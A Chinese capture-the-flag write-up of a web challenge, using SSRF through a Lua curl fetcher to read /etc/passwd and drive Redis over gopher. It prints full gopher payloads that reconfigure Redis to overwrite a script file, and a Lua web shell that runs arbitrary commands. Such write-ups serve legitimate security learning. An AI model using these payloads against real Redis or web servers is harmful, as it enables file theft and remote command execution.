第一次参加这个比赛,本以为是pwn赛,结果没想到是web最无敌的一集(有点可惜没把厦大刷下来= =)

拿到附件先起一个本地服务来打。apple silicon要指定amd64

main.lua的主要逻辑就是将visit.script的代码执行。visit.script的主要逻辑是将输入进来的url地址用lua的curl模块访问。并且会将页面访问结果保存到redis中。思路很简单,就是想办法利用redis来保存一个文件将visit.script覆盖掉,覆盖掉的内容就是要执行的lua反弹shell或者命令执行。

首先要先了解一下redis的一些常用指令和小常识,这里只介绍本题需要用到的

keys * --查看所有键值对

get keyname --查看该键的值

save --将当前 Redis 所有数据保存到文件里。文件名和路径在下面两个命令可以修改

CONFIG SET dbfilename yourfilename.rdb --设置save的文件名

CONFIG SET dir /var/lib/redis --设置save的保存目录

QUIT --退出redis命令行。这个很重要,一会儿就会用到

rdbcompression yes --在附件里给的redis配置文件第461行,主要作用就是开启rdb存储压缩。redis有两种持久化方式,一种叫rdb一种叫aof,有兴趣可以自查。并且,redis所有配置信息都可以在终端中用config get keyname的方式获取到

尝试访问一下file:///etc/passwd可以得到passwd

进容器的redis验证一下有没有把访问内容存下来。发现确实存了下来。

因为redis支持使用gopher协议控制,所以直接先用下面的payload梭一把试试

gopher://localhost:6379/_*2%0D%0A$3%0D%0AGET%0D%0A$18%0D%0Afile:///etc/passwd%0D%0A

这个格式是用gopher访问redis固定的,*2表示这一行命令里有2个参数,$3$18表示参数长度,并且最后一定要加一个CRLF的换行。厨子编码时要注意把全编码钩上,不然会不符合gopher协议规范(具体原因可以看这篇博客:https://redshome.top/2023/01/13/58/)。现在我们发一波试试。

可以发现换了个timeout回来,当时和队友在这儿卡了有一段时间,一直以为是我语句构造出了问题,以至于错过了前3血= =

直到队友拿着这段payload在命令行尝试直接curl后拿到了下面这样的结果

我便恍然大悟,问题就出在请求成功后没有退出redis终端,于是便搜到了上面所说的QUIT指令。接下来就是改造完的payload

gopher://localhost:6379/_%2A2%0D%0A%243%0D%0AGET%0D%0A%2418%0D%0Afile%3A%2F%2F%2Fetc%2Fpasswd%0D%0A%2A1%0D%0A%244%0D%0AQUIT%0D%0A%0D%0A

前后端均访问正常。最后再来测试一下save下来的数据长啥样

嘶,怎么感觉不太正常,好像存下来后和直接输出不太一样。这样可以不行,要是一会儿存下来的lua代码也变成这样那就执行不了了。当时队友“神之一手”一下就反应过来是压缩存储的问题,我们先把压缩存储关掉后再试一遍

无敌了,接下来就是走一遍最开始说的思路。首先是修改一下靶机的dbfilename,dir还有rdbcompression

*4
$6
config
$3
set
$3
dir
$8
/scripts
*4
$6
config
$3
set
$10
dbfilename
$12
visit.script
*4
$6
config
$3
set
$14
rdbcompression
$2
no
*1
$4
QUIT

gopher://localhost:6379/_%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%248%0D%0A%2Fscripts%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%2412%0D%0Avisit%2Escript%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2414%0D%0Ardbcompression%0D%0A%242%0D%0Ano%0D%0A%2A1%0D%0A%244%0D%0AQUIT%0D%0A%0D%0A

现在将我们的lua代码放入webhook中,让靶机访问。可以让ai帮忙写lua代码,我这里就直接用队友在发稿前给的exp,如下

##LUA_START##ngx.req.read_body(); local args = ngx.req.get_uri_args(); local ss = args.url; local handle = io.popen(ss); local result = handle:read("*a"); handle:close(); ngx.say("Command output:\n"); ngx.say(result)##LUA_END##

要用##LUA_START##和##LUA_END##括起来,因为根据main.lua可以知道,它只认这对标识里面的东西。接着像下面这样访问。

接下来就是让数据库save

接着访问两遍(第一遍是写入文件,第二遍是执行写入的lua代码),应该可以看到下面这样

然后就可以愉快的执行啦